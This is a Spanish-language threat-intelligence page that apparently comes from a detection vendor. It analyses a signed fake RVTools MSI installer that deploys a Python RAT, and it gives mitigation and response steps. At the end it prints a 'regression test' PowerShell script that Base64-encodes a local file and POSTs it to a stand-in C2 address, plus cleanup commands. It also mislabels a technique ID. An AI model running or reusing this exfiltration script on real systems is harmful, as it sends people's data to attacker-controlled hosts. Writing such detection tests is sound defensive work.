SOC Prime Bias: Medio

29 May 2026 07:20 UTC

RVTools Mascarada: Cómo un Instalador Falso Firmado Despliega un RAT Modular de Python

Author Photo
SOC Prime Team linkedin icon Seguir
RVTools Mascarada: Cómo un Instalador Falso Firmado Despliega un RAT Modular de Python
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Un instalador MSI malicioso firmado con un certificado legítimo se hace pasar por la utilidad RVTools utilizada por los administradores de VMware. Una vez ejecutado, el instalador despliega un VBScript que lanza PowerShell para descargar un gran archivo ZIP de Dropbox. Ese archivo contiene un entorno Python portátil que ejecuta un RAT multifásico capaz de reconocimiento, persistencia y comunicación con servidores de comando y control codificados.

Investigación

El análisis rastreó el MSI a una acción personalizada de VBScript, Binary.MyScript.vbs, que decodificó un comando de PowerShell ofuscado. Ese comando descargó un winp.zip carga útil en %APPDATA%, extrajo componentes y scripts de Python como collector.py and Pmanager.py, y luego estableció persistencia a través de claves Run del registro y una tarea programada después del reinicio. Los investigadores también encontraron que el RAT cifró los datos recopilados con RC4 y enviaba señales a cinco direcciones IP fijas a intervalos de cinco minutos.

Mitigación

Las organizaciones deben aplicar una validación estricta de firma de código con comprobaciones en vivo de OCSP o CRL, bloquear la ejecución de MSI no confiables y monitorear las acciones personalizadas de VBScript sospechosas incrustadas en los paquetes del instalador. Los defensores también deben prevenir la ejecución automática de scripts descargados, observar nuevas entradas de claves Run y la creación de tareas programadas, y alertar sobre el tráfico saliente a direcciones IP codificadas desconocidas.

Respuesta

Si se detecta esta actividad, aísle inmediatamente el punto final afectado, recopile el MSI, el VBScript y los archivos de carga útil extraídos para el análisis forense, y elimine todos los artefactos de persistencia, incluidas las claves Run y las tareas programadas. Las direcciones IP de comando y control identificadas deben bloquearse en el cortafuegos, y se debe realizar una revisión más amplia de las credenciales y la actividad de Active Directory para determinar si ocurrió movimiento lateral.

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La verificación previa al vuelo del Telémetro y Base de Referencia debe haber sido aprobada.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el relato DEBEN reflejar DIRECTAMENTE los TTPs identificados y a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa del Ataque y Comandos:
    Un adversario que ya ha establecido un punto de apoyo en la máquina de la víctima decide exfiltrar un pequeño conjunto de datos (por ejemplo, C:Tempsecret.txt). Para evitar activar alertas de tráfico saliente genéricas, el actor usa un PowerShell one-liner que realiza un HTTP POST directamente a una de las IPs de C2 codificadas (192.0.2.10). El comando se programa a través de una Tarea Programada de Windows para asegurar la persistencia (T1546.013). No se sueltan binarios adicionales, manteniendo la actividad “viviendo de la tierra”.

  • Script de Prueba de Regresión:

    # -------------------------------------------------
    # Script de PowerShell – Exfiltración de datos a través de IP codificada
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # Asegura que el archivo existe (cree datos ficticios para la prueba)
    if (-Not (Test-Path $file)) {
        "datos sensibles $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # Lee el contenido del archivo y lo codifica en Base64
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # Realiza el HTTP POST
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "Intento de exfiltración enviado a $c2Ip"
    } catch {
        Write-Error "Exfiltración fallida: $_"
    }
  • Comandos de Limpieza:

    # Remover el archivo ficticio
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # Eliminar cualquier tarea programada creada para la prueba (si la hay)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }